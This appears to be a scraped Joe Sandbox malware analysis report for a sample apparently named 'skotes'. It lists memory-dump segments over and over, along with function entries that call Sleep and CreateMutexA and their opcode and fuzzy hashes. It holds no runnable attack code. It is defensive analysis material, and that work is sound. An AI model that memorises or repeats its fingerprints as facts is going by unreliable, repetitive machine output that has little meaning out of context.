Associated: 00000003.00000002.2190359366.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190390502.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190412116.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190474182.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190489139.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190504469.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190519203.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190539543.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190562376.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190577521.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190597488.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190617201.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190632773.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190649011.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190665401.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190686546.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190703277.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190717961.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190732767.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190750881.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190767382.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190782460.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190801321.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190819556.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190836027.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190851456.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190866029.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190883869.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190949058.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190965422.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190983250.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190998963.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191013778.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191029584.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191050457.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191068741.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191085824.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 2b2e8786d4c7a5520306a5c2774555035b31eb30c35b845eacccb46fe679ddba
Instruction ID: 626a28bd6edd4dbc981bcea72abad71b3fd39de9518f379f4d845935b5bb5321
Opcode Fuzzy Hash: 2b2e8786d4c7a5520306a5c2774555035b31eb30c35b845eacccb46fe679ddba
Instruction Fuzzy Hash: BDE0C231000648AFCF257F59CC2AE893B29EF81785F000910FD28466A2CB35EEA1DA80

Function 00BD9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00BDA963
CreateMutexA.KERNELBASE(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000003.00000002.2189953955.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000003.00000002.2189931163.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2189953955.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190053283.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190083042.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190109598.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190134944.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190164290.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190332002.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190359366.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190390502.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190412116.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190474182.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190489139.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190504469.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190519203.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190539543.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190562376.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190577521.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190597488.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190617201.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190632773.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190649011.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190665401.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190686546.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190703277.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190717961.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190732767.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190750881.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190767382.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190782460.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190801321.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190819556.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190836027.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190851456.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190866029.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190883869.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190949058.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190965422.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190983250.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190998963.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191013778.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191029584.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191050457.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191068741.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191085824.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: cffea11f7078baf91162cee9dc464a096629e8852a40a9c57ba39390b3236057
Instruction ID: 7f8a0ec6b1c943d736a68280e4ac1196180a595cec942a4a240ed072ae6102b2
Opcode Fuzzy Hash: cffea11f7078baf91162cee9dc464a096629e8852a40a9c57ba39390b3236057
Instruction Fuzzy Hash: C0319B317101048BFB08DB78DDC976DFBE2DBC5314F24429AE014977E6E77A99808751

Function 00BD9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00BDA963
CreateMutexA.KERNELBASE(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000003.00000002.2189953955.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000003.00000002.2189931163.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2189953955.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190053283.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190083042.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190109598.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190134944.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190164290.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190332002.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190359366.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190390502.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190412116.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190474182.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190489139.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190504469.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190519203.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190539543.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190562376.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190577521.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190597488.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190617201.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190632773.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190649011.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190665401.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190686546.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190703277.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190717961.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190732767.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190750881.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190767382.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190782460.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190801321.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190819556.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190836027.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190851456.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190866029.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190883869.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190949058.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190965422.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190983250.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190998963.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191013778.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191029584.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191050457.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191068741.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191085824.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 38784066a1f79b4d22feb0bcdfee724853727794605abead8c8ed15b9d4f1417
Instruction ID: ebdc4f30bc676c63b83dcad4349f726a1452826500d56d14a687fa0585b0442a
Opcode Fuzzy Hash: 38784066a1f79b4d22feb0bcdfee724853727794605abead8c8ed15b9d4f1417
Instruction Fuzzy Hash: E83168716001448BFB08DB78DCD87ADF7E2EBC5314F20469AE014D77E1E77AA9808752

Function 00BDA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00BDA963
CreateMutexA.KERNELBASE(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000003.00000002.2189953955.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000003.00000002.2189931163.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2189953955.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190053283.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190083042.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190109598.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190134944.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190164290.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190332002.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190359366.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190390502.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190412116.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190474182.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190489139.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190504469.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190519203.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190539543.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190562376.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190577521.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190597488.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190617201.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190632773.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190649011.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190665401.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190686546.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190703277.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190717961.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190732767.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190750881.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190767382.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190782460.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190801321.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190819556.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190836027.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190851456.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190866029.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190883869.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190949058.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190965422.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190983250.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190998963.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191013778.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191029584.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191050457.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191068741.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191085824.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5aeaf586e4b8e3a881f63609dcfe5ab509687b40c31d5cd2f10cd187e150b484
Instruction ID: f793bf824cb9246569ef96fd95f43d36431a85343f89d3bcb469b1c9861e27aa
Opcode Fuzzy Hash: 5aeaf586e4b8e3a881f63609dcfe5ab509687b40c31d5cd2f10cd187e150b484
Instruction Fuzzy Hash: DC3146316101449BEB08DB78DDC9B6DF7A2DBC6314F2442AAE014A77E1E77A99808752

Function 00BDA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00BDA963
CreateMutexA.KERNELBASE(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000003.00000002.2189953955.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000003.00000002.2189931163.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2189953955.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190053283.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190083042.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190109598.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190134944.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190164290.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190332002.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190359366.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190390502.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190412116.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190474182.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190489139.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190504469.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190519203.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190539543.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190562376.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190577521.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190597488.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190617201.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190632773.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190649011.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190665401.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190686546.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190703277.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190717961.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190732767.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190750881.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190767382.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190782460.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190801321.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190819556.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190836027.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190851456.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190866029.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190883869.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190949058.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190965422.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190983250.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190998963.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191013778.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191029584.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191050457.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191068741.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191085824.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 80ad5669fe5af6bc8ced2ce3c891a086c6dad2b5542227cb01fc8e8ee60a2a6a
Instruction ID: 98fbfa6809b7aca6ed3038ef6e34364a24e5c87b10026c52995c6dd295470abb
Opcode Fuzzy Hash: 80ad5669fe5af6bc8ced2ce3c891a086c6dad2b5542227cb01fc8e8ee60a2a6a
Instruction Fuzzy Hash: B73124316001449BFB089B79DCC9B6DF7A2EBC6314F2442AAE014A77E1E77A99808752

Function 00BDA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00BDA963
CreateMutexA.KERNELBASE(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000003.00000002.2189953955.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000003.00000002.2189931163.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
